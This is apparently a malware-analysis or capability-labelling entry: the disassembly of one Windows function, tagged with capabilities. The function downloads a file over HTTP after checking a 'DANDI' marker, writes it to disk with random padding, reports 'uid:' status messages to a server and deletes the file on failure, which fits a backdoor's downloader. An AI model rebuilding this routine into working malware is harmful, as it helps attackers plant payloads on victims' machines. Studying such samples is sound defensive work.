Function at 0x405cd0
Capabilities:
Create http request
Delete file
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x40798a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x424
push ebx
push ebp
push esi
push edi
mov edi, ecx
lea eax, [esp + 0x444]
lea ecx, [esp + 0x18]
push eax
mov dword [esp + 0x440], 0
call sub.MFC42.DLL_CString::CString_2
push 0x40aabc
lea ecx, [esp + 0x14]
mov byte [esp + 0x440], 1
call sub.MFC42.DLL_CString::CString_1
push 0
push 0
push 0
push 0
push str.FptD
mov byte [esp + 0x450], 2
xor bl, bl
call dword [sym.imp.WININET.dll_InternetOpenA]
lea ecx, [edi + 0x98]
lea edx, [esp + 0x20]
push ecx
push str.http:__
push edx
mov esi, eax
call sub.MFC42.DLL_operator_2
push 0x40a564
push eax
lea eax, [esp + 0x30]
mov byte [esp + 0x444], 3
push eax
call sub.MFC42.DLL_operator_1
lea ecx, [esp + 0x444]
lea edx, [esp + 0x14]
push ecx
push eax
push edx
mov byte [esp + 0x448], 4
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x440], 5
call fcn.004069d0
lea ecx, [esp + 0x14]
mov byte [esp + 0x43c], 4
call fcn.004068bc
lea ecx, [esp + 0x28]
mov byte [esp + 0x43c], 3
call fcn.004068bc
lea ecx, [esp + 0x20]
mov byte [esp + 0x43c], 2
call fcn.004068bc
mov eax, dword [esp + 0x18]
push 0
push 0x80000000
push 0xffffffffffffffff
push 0
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x405e24
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2ee3
mov dword [esp + 0x24], eax
jne 0x405fae
lea ecx, [esp + 0x30]
lea edx, [esp + 0x34]
push ecx
lea eax, [esp + 0x28]
push edx
push eax
mov dword [esp + 0x3c], 0x400
call dword [sym.imp.WININET.dll_InternetGetLastResponseInfoA]
jmp 0x405fae
mov al, byte [esp + 0x448]
test al, al
je 0x405e42
lea ecx, [esp + 0x444]
push ecx
lea ecx, [esp + 0x14]
call fcn.004069d0
jmp 0x405e79
lea edx, [esp + 0x444]
lea eax, [esp + 0x20]
push edx
push eax
mov ecx, edi
call fcn.00406040
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x440], 6
call fcn.004069d0
lea ecx, [esp + 0x20]
mov byte [esp + 0x43c], 2
call fcn.004068bc
mov ecx, dword [esp + 0x10]
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x405eac
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x24], eax
jmp 0x405fae
lea edx, [esp + 0x1c]
lea eax, [esp + 0x34]
push edx
push 5
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x405fa3
lea ecx, [esp + 0x34]
push str.DANDI
push ecx
mov byte [esp + 0x41], 0
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x405f79
lea edx, [esp + 0x1c]
lea eax, [esp + 0x34]
push edx
push 0x400
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x405f36
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x405f36
lea ecx, [esp + 0x2c]
push 0
push ecx
lea edx, [esp + 0x3c]
push eax
push edx
push ebp
call ebx
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x34]
push eax
push 0x400
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x405f04
call dword [sym.imp.MSVCRT.dll_rand]
mov esi, eax
and esi, 0x8000000f
jns 0x405f4b
dec esi
or esi, 0xfffffff0
inc esi
lea edx, [edi + 0xb8]
lea ecx, [esp + 0x14]
push edx
inc esi
call sub.MFC42.DLL_CString::CString_2
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x2c]
push 0
push eax
push esi
push ecx
push ebp
call ebx
lea ecx, [esp + 0x14]
mov bl, 1
call fcn.004068bc
jmp 0x405fa3
mov eax, dword [edi + 0xb8]
lea edx, [esp + 0x34]
push edx
push eax
push str.uid:_s_dvf__s_
push 0x40aab0
call sub.MFC42.DLL_CString::Format
add esp, 0x10
mov ecx, edi
push 0x40aab0
call fcn.00405750
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
jne 0x405fe8
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x10]
mov eax, dword [edi + 0xb8]
push ecx
push edx
push eax
push str.uid:_s_dnlff___s__del__d_
push 0x40aab0
call sub.MFC42.DLL_CString::Format
add esp, 0x14
mov ecx, edi
push 0x40aab0
call fcn.00405750
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x10]
mov byte [esp + 0x43c], 1
call fcn.004068bc
lea ecx, [esp + 0x18]
mov byte [esp + 0x43c], 0
call fcn.004068bc
lea ecx, [esp + 0x444]
mov dword [esp + 0x43c], 0xffffffff
call fcn.004068bc
mov ecx, dword [esp + 0x434]
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x430
ret 8